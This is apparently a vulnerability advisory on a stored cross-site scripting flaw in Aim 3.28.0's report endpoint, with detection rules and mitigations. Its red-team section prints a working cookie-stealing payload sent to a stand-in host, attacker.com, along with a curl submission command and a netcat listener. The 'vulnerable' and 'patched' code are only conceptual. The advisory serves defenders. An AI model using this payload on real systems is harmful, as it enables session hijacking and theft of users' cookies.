CVE-2025-51464

Executive Summary

CVE-2025-51464 is a stored Cross-Site Scripting (XSS) vulnerability in Aimhubio Aim version 3.28.0. The flaw allows remote attackers to inject arbitrary JavaScript into the /api/reports endpoint via malicious Python code. When a victim views the report, the Pyodide runtime interprets the injected code, enabling execution of pyodide.code.run_js() without proper sanitization or sandbox restrictions. This can lead to session hijacking, data theft, or further compromise within the victim's browser context.

Supply Chain & Package Security

Aimhubio Aim is a Python-based open-source experiment tracking tool distributed via PyPI. The vulnerability resides in the Pyodide integration, which executes Python code in the browser. Since no patch is currently available, users must rely on manual mitigations. The supply chain risk is elevated because malicious reports can be submitted by any authenticated or unauthenticated user (depending on deployment configuration), and the payload persists until manually removed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the report)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can be exploited remotely without authentication. The impact is limited to browser-side execution, but combined with other vulnerabilities, it could lead to more severe outcomes.

Deep Dive & Mechanics

The vulnerability stems from insufficient input sanitization in the /api/reports endpoint. Aim uses Pyodide to execute Python code submitted as part of a report. The pyodide.code.run_js() function allows Python code to call arbitrary JavaScript. An attacker can craft a Python payload that, when rendered by Pyodide, executes JavaScript in the victim's browser.

Root Cause: The application does not sanitize or restrict the use of pyodide.code.run_js() within submitted Python code. This allows an attacker to bypass any intended sandbox and execute arbitrary JavaScript.

Attack Flow:

1. Attacker sends a POST request to /api/reports with a JSON payload containing a Python code block.
2. The Python code includes a call to pyodide.code.run_js() with malicious JavaScript.
3. When a legitimate user views the report, Pyodide executes the Python code, which in turn runs the JavaScript in the user's browser.
4. The JavaScript can steal cookies, redirect the user, or perform actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (Aim 3.28.0):

# In the report processing logic
import pyodide

def process_report(report_code):
    # No sanitization of report_code
    pyodide.code.eval_python(report_code)

Patched Code (Hypothetical):

import pyodide
import re

def process_report(report_code):
    # Block dangerous functions
    if 'run_js' in report_code or 'pyodide' in report_code:
        raise ValueError("Malicious code detected")
    # Additional sanitization
    sanitized_code = re.sub(r'[<>&]', '', report_code)
    pyodide.code.eval_python(sanitized_code)

Note: No official patch is available. The above is a conceptual fix.

Exploitation & Lab Setup

Red Team

Exploit Payload:

import pyodide
pyodide.code.run_js("document.location='http://attacker.com/steal?cookie='+document.cookie")

Submission to /api/reports:

curl -X POST http://target:port/api/reports \
  -H "Content-Type: application/json" \
  -d '{"code": "import pyodide\npyodide.code.run_js(\"document.location='http://attacker.com/steal?cookie='+document.cookie\")"}'

Lab Setup:

1. Deploy Aim 3.28.0 in a Docker container.
2. Set up a listener on attacker machine: nc -lvnp 80
3. Submit the payload.
4. As victim, view the report in a browser.
5. Observe cookie exfiltration on attacker listener.

Blue Team

Detection:

• Monitor /api/reports endpoint for POST requests containing pyodide.code.run_js or run_js.
• Inspect report content for JavaScript-like patterns.
• Use WAF rules to block requests with run_js in the body.

Mitigation:

• Disable Pyodide execution if not required.
• Implement input validation to block dangerous functions.
• Apply Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network: POST requests to /api/reports with body containing pyodide.code.run_js
• File System: Reports stored with embedded run_js calls
• Logs: Entries showing execution of pyodide.code.run_js in report processing
• Browser: Unexpected redirects or cookie theft from Aim dashboard

Detection Engineering

YARA Rule

rule CVE_2025_51464_Pyodide_XSS {
    meta:
        description = "Detects malicious Python code exploiting CVE-2025-51464"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51464"
    strings:
        $pyodide_import = "import pyodide"
        $run_js = "run_js"
        $js_payload = /run_js\(["'](?:<|>|alert|document\.|window\.|location\.|fetch|XMLHttpRequest)/
    condition:
        $pyodide_import and $run_js and $js_payload
}

Sigma Rule

title: CVE-2025-51464 Pyodide XSS Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to /api/reports containing pyodide.code.run_js
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: aim
detection:
    selection:
        http.method: POST
        http.url: /api/reports
        http.body: '*pyodide.code.run_js*'
    condition: selection
falsepositives:
    - Legitimate use of Pyodide (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51464 Pyodide XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/reports"; http.request_body; content:"pyodide.code.run_js"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Pyodide execution in Aim configuration if not required.
2. Implement a WAF rule to block requests containing run_js in the body.
3. Apply strict Content Security Policy (CSP) headers: script-src 'self'; object-src 'none'
4. Sanitize all user-submitted Python code before execution.

Long-term Fix:

• Wait for official patch from Aimhubio.
• Upgrade to a patched version once available.
• Consider using a sandboxed environment for Pyodide execution.

Workaround:

• Restrict access to the /api/reports endpoint to authenticated users only.
• Implement manual review of submitted reports before execution.

Valters IT